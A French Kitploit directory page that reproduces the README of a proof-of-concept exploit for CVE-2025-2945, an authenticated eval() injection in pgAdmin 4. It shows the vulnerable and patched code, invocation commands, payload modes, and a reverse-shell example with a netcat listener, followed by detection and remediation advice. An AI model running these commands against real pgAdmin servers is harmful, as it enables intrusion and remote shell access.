Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-2945-pgAdmin-RCE — PoC pour CVE-2025-2945 — injection RCE via eval() authentifiée dans pgAdmin 4, CVSS 9.9 | Kitploit
Outils/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à Distance
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

PoC pour CVE-2025-2945 — injection RCE via eval() authentifiée dans pgAdmin 4, CVSS 9.9

Voir le dépôt
9il y a 21 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-2945 — Exécution de code à distance (RCE) via l'outil de requête de pgAdmin 4

CVSS 3.1 : 9,9 (Critique) · Versions concernées : pgAdmin 4 8.10 – 9.1 · Corrigé dans : 9.2 (4 avril 2025) CWE-95 (Neutralisation incorrecte des directives dans du code évalué dynamiquement / Injection par eval)

Une preuve de concept d'exploitation pour CVE-2025-2945, une vulnérabilité d'exécution de code à distance authentifiée dans l'outil de requête de pgAdmin 4. Un indicateur booléen d'état de transaction (query_commited) est passé directement dans eval() de Python au lieu d'être analysé comme un booléen, ce qui permet à un utilisateur authentifié d'exécuter du code Python arbitraire — et par extension, des commandes système arbitraires — avec les privilèges du processus du service pgAdmin. Le même anti-modèle est présent une seconde fois dans le module de déploiement cloud du fournisseur Google (high_availability).

Une analyse technique complète couvrant la cause racine, la logique d'exploitation, les conseils de détection et la remédiation est disponible ici : khashayarnazarkardeh.com — Notes de terrain


Résumé de la vulnérabilité

Code vulnérable (web/pgadmin/tools/sqleditor/__init__.py) :

root@kitploit:~
if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )

Code corrigé (pgAdmin 9.2+) :

root@kitploit:~
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

La vulnérabilité nécessite une session pgAdmin authentifiée et une transaction de l'outil de requête liée à un serveur de base de données déjà enregistré dans le compte cible. Ces deux conditions préalables sont courantes dans les déploiements réels, où pgAdmin est généralement préconfiguré avec une ou plusieurs connexions serveur enregistrées.

Prérequis

  • Python 3.8+
  • Un compte web pgAdmin valide (--username / --password)
  • Des identifiants pour un serveur de base de données déjà enregistré dans ce compte pgAdmin (--db-user / --db-password / --db-name)
  • Cible exécutant pgAdmin 4 entre les versions 8.10 et 9.1 (incluses)

Installation

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

Utilisation

root@kitploit:~
python3 CVE-2025-2945.py \
    --host <cible> --port 80 \
    --username <email-pgadmin> --password <mot-de-passe-pgadmin> \
    --db-user <utilisateur-bd> --db-password <mot-de-passe-bd> --db-name <nom-bd> \
    --cmd id

Modes de charge utile (choisir un seul)

OptionDescription
--cmd COMMANDEExécute une seule commande système via os.system()
--reverse-shell HOTE:PORTGénère un shell inversé via tube nommé vers un écouteur que vous contrôlez
--raw-payload EXPRPasse une expression Python brute directement au sink eval() vulnérable

Exemple — shell inversé

root@kitploit:~
# Sur votre hôte d'attaque, dans un terminal séparé :
nc -lvnp 4444

# Exécutez l'exploit :
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

Options complètes

root@kitploit:~
python3 CVE-2025-2945.py --help

Détection

Les défenseurs doivent surveiller :

  • Les requêtes POST vers /sqleditor/query_tool/download/<trans_id> ou /cloud/deploy où query_commited / high_availability est autre chose qu'un "true", "false", "1" ou "0" littéral.
  • Les primitives d'exécution Python (__import__, os.system, subprocess, eval, exec, open() apparaissant dans l'un ou l'autre paramètre.
  • Les processus enfants inattendus générés par le compte de service pgAdmin, en particulier les interpréteurs de shell ou les utilitaires réseau.

Remédiation

Mettez à niveau vers pgAdmin 4 9.2 ou version ultérieure. Le correctif est minimal et à faible risque, consistant en une coercition booléenne. Lorsqu'un correctif immédiat n'est pas possible, restreignez l'accès réseau à pgAdmin aux réseaux authentifiés de confiance et désactivez le module de déploiement cloud pour les comptes qui n'en ont pas besoin.

Références

  • NVD — CVE-2025-2945
  • Avis de sécurité GitHub — GHSA-g73c-fw68-pwx3
  • Problème pgAdmin #8603
  • Commit de correction — 75be0bc

Auteur

Khashayar Nazarkardeh — Leader en cybersécurité et sécurité IA khashayarnazarkardeh.com · @Khashayarnzk

Avertissement

Cet outil est fourni uniquement à des fins de tests de sécurité autorisés, de recherche et d'éducation. L'exécuter contre tout système sans autorisation explicite et documentée du propriétaire du système est illégal dans la plupart des juridictions. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel. En utilisant ce script, vous acceptez d'être seul responsable de vous assurer que vous avez la permission de tester la cible.

Télécharger l’outil